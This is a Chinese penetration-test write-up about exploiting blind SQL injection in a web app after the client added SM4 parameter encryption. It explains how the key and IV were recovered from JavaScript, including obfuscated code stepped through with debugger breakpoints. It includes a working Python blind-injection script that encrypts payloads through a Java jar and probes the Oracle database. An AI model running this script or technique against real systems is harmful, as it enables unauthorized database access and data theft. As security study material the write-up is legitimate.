在一次授权渗透测试中,应用在前端使用sql语句拼接方式传送参数,很明显存在sql注入,提交漏洞后,用户大概不想重构项目,于是将前端参数传输前均进行加密,但是通过JS找到加密密钥后,结合py脚本还是注入了;后续用户再次升级将设计加密的JS也加密混淆了,不过还有办法找到密钥,借此分享,过程中踩坑绕弯,欢迎大表哥们交流指导。
如下图点击功能抓数据包,可以发现参数中明显有SQL语句,后使用1=1 和 1=2 确定了注入点,但是没有返回值,只能盲注了。。
py写个脚本,简单爆破了一下数据库长度、数据库名等信息
接到复测通知,看了下系统,发现参数被加密了,如下图
这里找加密方法的图没截,大概就是找到对应的ajax方法,可以看到md5_bean参数的生成通过base.js的encryptData_ECB方法生成,打开base.js清晰可见sm4字样以及secretkey和iv,如下图
接下来是如何注入,本来想构造一个sqlmap的tamper脚本,但是发现这个是把所有参数一起加密了,没得思路了,于是还是用py写盲注脚本吧,但是网上找的python实现sm4加密的结果都不一样,考虑到这个后台是java的,肯定是java做的解密,于是找了java的sm4实现,试了一下,结果可以了,于是尝试用py调用打包好的jar包进行注入(这里绕了一个大圈,实际上使用py调用js就行,第三次测试的时候更新了)
import requests import json import os from urllib.parse import quote header = { "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8" } pay = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ._!@#$%^&*()' proxies = { 'http':'http://127.0.0.1:8080' } #request构造请求,传入data中的_searchWhere def attack(payload): url = "http://" data = "{\"_searchWhere\":\" %s\",\"title\":\"\",\"paramsFlag\":\"false\",\"parVar\":\"\",\"frameId\":\"=\",\"readOnly\":\"\",\"extWhere\":\"\,\"type\":\"\",\"parWhere\":\"\",\"dataFlag\":\"\"}" % payload data = quote(data,'utf-8') command = "java -Dmoudle=e -Dstr=%s -jar sm4Decode.jar" % data data_sm4 = "".join(os.popen(command).readlines()) data_send = {"md5_bean":data_sm4} cookies = {"": ""} result = requests.post(url=url, data=data_send, cookies=cookies, headers=header ,proxies=proxies) return len(result.text) if __name__ == '__main__': # 判断数据库 for i in range(1,20): payload = "and (select length(name) from v$database)=%s" % str(i) print(payload) lenstr = attack(payload) if lenstr > 3000: print(lenstr) print("数据库长度是%s"% str(i)) break else: print(lenstr)
4.此时客户疑问,这个sql注入1=1 1=2返回结果是不同、暴露一个数据库版本等信息又有什么用,于是多注了一点信息,证明危害,获取用户表名的过程比较啰嗦,这里只有是结果图。
a. 用户表数据
b. owner表数量
最后一次复测,用户表示已经没问题了,让再看一下,由于时间有点长,重新找一下加密算法位置
使用抓包抓到的URL,在chrome调试工具中search一下位置,打下断点,点击功能看一下是否触发断点。
接下来一步一步跟下去,找到参数构造md5_bean参数的位置
next找到base64.js,发现代码已经压缩而且加密了。。
遇到JS加密了如果有实力的大佬可以解密js或者 https://www.sojson.com/jsobfuscator.html 付费解密,不过只是想得到密钥和iv的话,可以在断点进入base64.js后,调试窗口肯定会显示密钥和iv值,因为不管怎么混淆,代码还是要被正常执行的。
接下来又是注入了,之前用的脚本思路太麻烦了,这次简单点,直接调SM4加密的js,由于这段js已经混淆了,于是从网上找来base64.js的源码简单改了一下,使用python的execjs调用加密。
a. java解开加密内容如图
b. python调用js加密明文内容,对比结果(调用js的代码如图,上面没有了,因此没有粘过来,感觉内容有点啰嗦了)
6.如此便不用java介入了,之后的操作就是利用之前的盲注脚本,修改一下data参数的加密获取就行了,重复的盲注过程。